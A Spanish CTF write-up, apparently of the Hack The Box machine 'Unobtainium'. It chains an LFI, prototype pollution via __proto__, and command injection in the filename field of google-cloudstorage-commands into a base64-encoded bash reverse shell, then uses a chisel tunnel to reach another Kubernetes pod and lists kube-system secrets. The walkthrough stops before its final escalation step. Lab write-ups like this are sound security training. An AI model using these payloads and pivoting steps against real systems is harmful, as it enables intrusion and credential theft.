Conocimientos

  • Inspección de aplicación DEB

  • Uso de Wireshark para analizar paquetes

  • Análisis de código Javascript

  • Information Disclosure

  • LFI

  • RCE en módulo Google CloudStorage Commands

  • Prototype Pollution

  • Enumeración de Kubernetes

  • Pivoting

  • Creación de un POD malicioso (Escalada de Privilegios)


Video

Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.235 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-21 17:48 GMT
Nmap scan report for 10.10.10.235
Host is up (0.14s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8443/tcp  open  https-alt
10250/tcp open  unknown
10251/tcp open  unknown
31337/tcp open  Elite

Nmap done: 1 IP address (1 host up) scanned in 19.23 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80,8443,10250,10251,31337 10.10.10.235 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-21 17:49 GMT
Nmap scan report for 10.10.10.235
Host is up (0.23s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp  open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 73dac827-648f-4a8d-ab1c-040dc36ca413
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Tue, 21 Feb 2023 17:49:52 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: b88dc885-14d9-42ed-bb10-06ada65412ba
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Tue, 21 Feb 2023 17:49:50 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 8ad37eec-c588-4f65-8a67-8b026dd05136
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Tue, 21 Feb 2023 17:49:52 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2024-02-21T17:42:40
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (application/json).
10250/tcp open  ssl/http      Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.10.235
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2024-02-21T17:42:24
10251/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Tue, 21 Feb 2023 17:50:15 GMT
|     Content-Length: 19
|     page not found
|   GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Tue, 21 Feb 2023 17:49:43 GMT
|     Content-Length: 19
|     page not found
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Tue, 21 Feb 2023 17:49:44 GMT
|     Content-Length: 19
|_    page not found
31337/tcp open  http          Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-methods: 
|_  Potentially risky methods: PUT DELETE
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=2/21%Time=63F5043D%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x20b8
SF:8dc885-14d9-42ed-bb10-06ada65412ba\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Tue,\x2021\x20Fe
SF:b\x202023\x2017:49:50\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\
SF:x208ad37eec-c588-4f65-8a67-8b026dd05136\r\nCache-Control:\x20no-cache,\
SF:x20private\r\nContent-Type:\x20application/json\r\nDate:\x20Tue,\x2021\
SF:x20Feb\x202023\x2017:49:52\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"k
SF:ind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fai
SF:lure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\
SF:":401}\n")%r(FourOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\
SF:nAudit-Id:\x2073dac827-648f-4a8d-ab1c-040dc36ca413\r\nCache-Control:\x2
SF:0no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20
SF:Tue,\x2021\x20Feb\x202023\x2017:49:52\x20GMT\r\nContent-Length:\x20129\
SF:r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"sta
SF:tus\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorize
SF:d\",\"code\":401}\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port10251-TCP:V=7.93%I=7%D=2/21%Time=63F50435%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache
SF:-Control:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Tue,\x202
SF:1\x20Feb\x202023\x2017:49:43\x20GMT\r\nContent-Length:\x2019\r\n\r\n404
SF:\x20page\x20not\x20found\n")%r(HTTPOptions,D2,"HTTP/1\.0\x20404\x20Not\
SF:x20Found\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nD
SF:ate:\x20Tue,\x2021\x20Feb\x202023\x2017:49:44\x20GMT\r\nContent-Length:
SF:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(RTSPRequest,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(
SF:SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Kerberos,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(F
SF:ourOhFourRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache-Control:
SF:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Tue,\x2021\x20Feb\
SF:x202023\x2017:50:15\x20GMT\r\nContent-Length:\x2019\r\n\r\n404\x20page\
SF:x20not\x20found\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.40 seconds

Puerto 80 (HTTP) | Puerto 8443 (HTTPS)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.10.235
http://10.10.10.235 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.235], JQuery, Script, Title[Unobtainium]
whatweb https://10.10.10.235:8443
https://10.10.10.235:8443 [401 Unauthorized] Country[RESERVED][ZZ], IP[10.10.10.235], UncommonHeaders[audit-id]

Las páginas principales se ven así:

Puedo descargar un comprimido desde el puerto 80

Aplico fuzzing para descubrir rutas

gobuster dir -u http://10.10.10.235/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.235/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/02/21 18:04:13 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 313] [--> http://10.10.10.235/images/]
/downloads            (Status: 301) [Size: 316] [--> http://10.10.10.235/downloads/]
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.235/assets/]   
/server-status        (Status: 403) [Size: 277]                                     
                                                                                    
===============================================================
2023/02/21 18:08:45 Finished
===============================================================

Descomprimo el archivo para ver su contenido

unzip unobtainium_debian.zip -d packages

Dentro hay un paquete DEB

ls
unobtainium_1.0.0_amd64.deb  unobtainium_1.0.0_amd64.deb.md5sum

No lo voy a instalar, pero si a descomprimirlo

dpkg-deb -xv unobtainium_1.0.0_amd64.deb analisis

Puedo ver la estructura del proyecto

tree -L 3
.
├── opt
│   └── unobtainium
│       ├── chrome_100_percent.pak
│       ├── chrome_200_percent.pak
│       ├── chrome-sandbox
│       ├── icudtl.dat
│       ├── libEGL.so
│       ├── libffmpeg.so
│       ├── libGLESv2.so
│       ├── libvk_swiftshader.so
│       ├── libvulkan.so
│       ├── LICENSE.electron.txt
│       ├── LICENSES.chromium.html
│       ├── locales
│       ├── resources
│       ├── resources.pak
│       ├── snapshot_blob.bin
│       ├── swiftshader
│       ├── unobtainium
│       ├── v8_context_snapshot.bin
│       └── vk_swiftshader_icd.json
└── usr
    └── share
        ├── applications
        ├── doc
        └── icons

11 directories, 16 files

Se está utilizando electron por detrás. Ejecuto el binario unobtainium

./unobtainium --no-sandbox

Se está aplicando Virtual Hosting. Añado el dominio unobtainium.htb al /etc/hosts

Al clickar en TODO me aparece una respuesta en JSON

Abro el Wireshark para analizar que se tramita. Viajan credenciales en texto claro

Hago lo mismo al envíar el mensaje

Se tramita una petición por PUT al puerto 31337

Replico ambas peticiones en oneliners de curl

curl -s -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"test"}}' http://10.10.10.235:31337 | jq
{
  "ok": true
}
curl -s -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}' http://10.10.10.235:31337/todo | jq
{
  "ok": true,
  "content": "1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"
}

Como se está referenciando a un archivo en el campo filename, puedo probar un LFI para intentar acceder a otro archivo local de la máquina. Pero no carga nada, así que es probable que esté sanitizado

curl -s -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"../../../../../../../etc/passwd"}' http://10.10.10.235:31337/todo | jq

Como se está autenticando contra el puerto 31337 que corresponde a Node.js, tiene más sentido abrir el index.js. Lo almaceno para inspeccionarlo al detalle

cat portscan | grep 31337 | tail -n 1
31337/tcp open  http          Node.js Express framework
curl -s -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}' http://10.10.10.235:31337/todo | jq -r '.["content"]' > index.js

Están definidos dos usuarios

const users = [
  {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

La contraseña del usuario Administrador es aleatoria, por lo que no puedo obtener su valor en texto claro. En caso de convertirme en él, puedo subir archivos a la máquina

app.post('/upload', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

Lo compruebo tramitando la petición

curl -s -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}' http://10.10.10.235:31337/upload | jq
{
  "ok": false,
  "error": "Access denied"
}

Se está importando el módulo google-cloudstorage-commands

var root = require("google-cloudstorage-commands");

Para algunas versiones es posible inyectar comandos

Este campo existe en el código particular

filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});

Está tomando el campo filename como argumento. Pero de momento no puedo abusar de esto ya que no tengo el privilegio de enviar datos a /upload. Para solucionarlo, podría intentar cambiar los atributos de mi usuario. Una función es vulnerable a Prototype Pollution. En este artículo esta todo detallado

_.merge(message, req.body.message, {
  id: lastId++,
  timestamp: Date.now(),
  userName: user.name,
});

La prueba de concepto es bastante sencilla. Mediante la propiedad __proto__ es posible cambiar los valores de atributos asignándoselos a otra variable

En mi caso, tengo que editar el atributo canUpload para setearlo a True y de esa manera poder comunicarme con /upload para abusar de la vulnerabilidad del módulo de google-cloudstorage-commands y poder ejecutar comandos. Como se está tomando como argumento message, lo mas probable es que corresponda a la petición por PUT que vi antes

curl -s -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload": "true"}}}' http://10.10.10.235:31337 | jq
{
  "ok": true
}

Ahora ya me puedo enviar la reverse shell

echo "bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'" | base64 -w 0 | xclip -sel clip
curl -s -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt & echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzQ0MyAwPiYxJwo= | base64 -d |bash"}' http://10.10.10.235:31337/upload | jq
{
  "ok": true,
  "Uploaded_File": "todo.txt & echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzQ0MyAwPiYxJwo= | base64 -d |bash"
}

Y la recibo en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.235] 37969
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# export TERM=xterm
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# export SHELL=bash
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# stty rows 55 columns 209

Estoy dentro de un contenedor

root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# hostname -I
10.42.0.42 

Puedo ver la primera flag

root@webapp-deployment-9546bc7cb-6r7sq:~# cat user.txt 
09e168224deae0cead46229260b7089b

Escalada

Hay una tarea CRON que se encarga de buscar cada minuto por el nombre kubectlpara eliminarlo

root@webapp-deployment-9546bc7cb-6r7sq:~# crontab -l
* * * * * find / -name kubectl -exec rm {} \;

Lo descargo para subirlo al contenedor

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"

Para que no lo elimine, le cambio el nombre por otro cualquiera

mv kubectl kbctl

Esta herramienta trae un comando que permite saber si tengo los permisos necesarios para realizar una acción. No puedo listar los PODs

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl auth can-i get pods
no

Pero sí los namespaces

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl auth can-i get namespaces
Warning: resource 'namespaces' is not namespace scoped

yes

En caso de que pueda crear un POD, es posible asignarle un archivo YAML que se encarge de escapar del contenedor, creando uno nuevo que en su despliegue permita ejecutar comandos en la máquina host. Pero tampoco tengo acceso

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl auth can-i create pod
no

Obtengo todos los namespaces para ver los PODs que tienen asignados

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl get namespaces
NAME              STATUS   AGE
default           Active   176d
kube-system       Active   176d
kube-public       Active   176d
kube-node-lease   Active   176d
dev               Active   176d

Solo tengo acceso en dev

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl get pods -n default
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:default" cannot list resource "pods" in API group "" in the namespace "default"
root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl get pods -n kube-system
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:default" cannot list resource "pods" in API group "" in the namespace "kube-system"
root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl get pods -n kube-public
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:default" cannot list resource "pods" in API group "" in the namespace "kube-public"
root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl get pods -n kube-node-lease
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:default" cannot list resource "pods" in API group "" in the namespace "kube-node-lease"
root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl get pods -n dev
NAME                                  READY   STATUS    RESTARTS       AGE
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running   4 (176d ago)   176d
devnode-deployment-776dbcf7d6-g4659   1/1     Running   4 (176d ago)   176d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running   4 (176d ago)   176d

Listo las propiedades del primer POD

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl describe pods/devnode-deployment-776dbcf7d6-sr6vj -n dev

Puedo ver una IP que no conocía de antes

...
Status:           Running
IP:               10.42.0.46
IPs:
  IP:           10.42.0.46
...

Está en escucha por el puerto 3000

...
Containers:
  devnode:
    Container ID:   docker://7d6e3098de583fddfb533f85ad0e09d7bc68bb3e4b65f7e023185b6756fe669e
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
    Port:           3000/TCP
    Host Port:      0/TCP
...

Tramito una petición por GET a esa IP, por ese puerto

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# curl -s -X GET http://10.42.0.46:3000; echo
[]

La estética es bastante similar a la sección de mensajes de la aplicación unobtainium

Tramito peticiones por POST a las dos rutas que conozco

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# curl -s -X POST http://10.42.0.46:3000/todo; echo
{"ok":false,"error":"Access denied"}
root@webapp-deployment-9546bc7cb-6r7sq:/tmp# curl -s -X POST http://10.42.0.46:3000/upload; echo
{"ok":false,"error":"Access denied"}

Intento extraer los secretos de todos los namespaces

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl auth can-i get secrets -n default
no
root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl auth can-i get secrets -n kube-system
no
root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl auth can-i get secrets -n kube-public
no
root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl auth can-i get secrets -n kube-node-lease
no
root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl auth can-i get secrets -n dev
no

Puedo volver a efectuar el Prototype Pollution para ganar acceso a otro contenedor. Para tener conectividad desde mi equipo, subo el chisel para montarme un tunel por SOCKS5

En mi equipo local lo ejecuto como servidor

chisel server -p 1234 --reverse

En el contenedor me conecto como cliente

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./chisel client 10.10.16.6:1234 R:socks &>/dev/null & disown

A través de proxychains, me asigno los privilegios para poder enviarme la reverse shell

proxychains curl -s -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload": "true"}}}' http://10.42.0.46:3000 | jq
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
{
  "ok": true
}
proxychains curl -s -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt & echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzQ0MyAwPiYxJwo= | base64 -d |bash"}' http://10.42.0.46:3000/upload | jq
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
{
  "ok": true,
  "Uploaded_File": "todo.txt & echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzQ0MyAwPiYxJwo= | base64 -d |bash"
}

Gano acceso en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.235] 63757
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# script /dev/null -c bash
<bcf7d6-sr6vj:/usr/src/app# script /dev/null -c bash   
Script started, file is /dev/null
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# export TERM=xterm
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# export SHELL=bash
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# stty rows 55 columns 209

Al estar en otra máquina, tengo que volver a subir el kubctl y el chisel. En este tampoco puedo crear PODs ni obtener los namespaces, pero ya los tenía listados del otro contenedor, por lo que no es del todo necesario tener este privilegio

root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl auth can-i create pods
no
root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl auth can-i get namespaces
Warning: resource 'namespaces' is not namespace scoped

no

Es posible que ahora si sea capaz de obtener los secretos

root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl auth can-i get secrets -n default
no
root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl auth can-i get secrets -n kube-system
yes
root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl auth can-i get secrets -n kube-public
no
root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl auth can-i get secrets -n kube-node-lease
no
root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl auth can-i get secrets -n dev  
no

Se da el caso para el segundo

root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl get secrets -n kube-system
NAME                                                 TYPE                                  DATA   AGE
unobtainium.node-password.k3s                        Opaque                                1      176d
horizontal-pod-autoscaler-token-2fg27                kubernetes.io/service-account-token   3      176d
coredns-token-jx62b                                  kubernetes.io/service-account-token   3      176d
local-path-provisioner-service-account-token-2tk2q   kubernetes.io/service-account-token   3      176d
statefulset-controller-token-b25sg                   kubernetes.io/service-account-token   3      176d
certificate-controller-token-98jdq                   kubernetes.io/service-account-token   3      176d
root-ca-cert-publisher-token-t564t                   kubernetes.io/service-account-token   3      176d
ephemeral-volume-controller-token-brb5h              kubernetes.io/service-account-token   3      176d
ttl-after-finished-controller-token-wf8k9            kubernetes.io/service-account-token   3      176d
replication-controller-token-9m8mh                   kubernetes.io/service-account-token   3      176d
service-account-controller-token-6vsl2               kubernetes.io/service-account-token   3      176d
node-controller-token-dfztj                          kubernetes.io/service-account-token   3      176d
metrics-server-token-d4k84                           kubernetes.io/service-account-token   3      176d
pvc-protection-controller-token-btkqg                kubernetes.io/service-account-token   3      176d
pv-protection-controller-token-k8gq8                 kubernetes.io/service-account-token   3      176d
endpoint-controller-token-zd5b9                      kubernetes.io/service-account-token   3      176d
disruption-controller-token-cnqj8                    kubernetes.io/service-account-token   3      176d
cronjob-controller-token-csxvj                       kubernetes.io/service-account-token   3      176d
endpointslice-controller-token-wrnvm                 kubernetes.io/service-account-token   3      176d
pod-garbage-collector-token-56dzk                    kubernetes.io/service-account-token   3      176d
namespace-controller-token-g8jmq                     kubernetes.io/service-account-token   3      176d
daemon-set-controller-token-b68xx                    kubernetes.io/service-account-token   3      176d
replicaset-controller-token-7fkxv                    kubernetes.io/service-account-token   3      176d
job-controller-token-xctqc                           kubernetes.io/service-account-token   3      176d
ttl-controller-token-rsshv                           kubernetes.io/service-account-token   3      176d
deployment-controller-token-npk6k                    kubernetes.io/service-account-token   3      176d
attachdetach-controller-token-xvj9h                  kubernetes.io/service-account-token   3      176d
endpointslicemirroring-controller-token-b5r69        kubernetes.io/service-account-token   3      176d
resourcequota-controller-token-8pp4p                 kubernetes.io/service-account-token   3      176d
generic-garbage-collector-token-5nkzj                kubernetes.io/service-account-token   3      176d
persistent-volume-binder-token-865v2                 kubernetes.io/service-account-token   3      176d
expand-controller-token-f2csp                        kubernetes.io/service-account-token   3      176d
clusterrole-aggregation-controller-token-wp8k6       kubernetes.io/service-account-token   3      176d
default-token-h5tf2                                  kubernetes.io/service-account-token   3      176d
c-admin-token-b47f7                                  kubernetes.io/service-account-token   3      176d
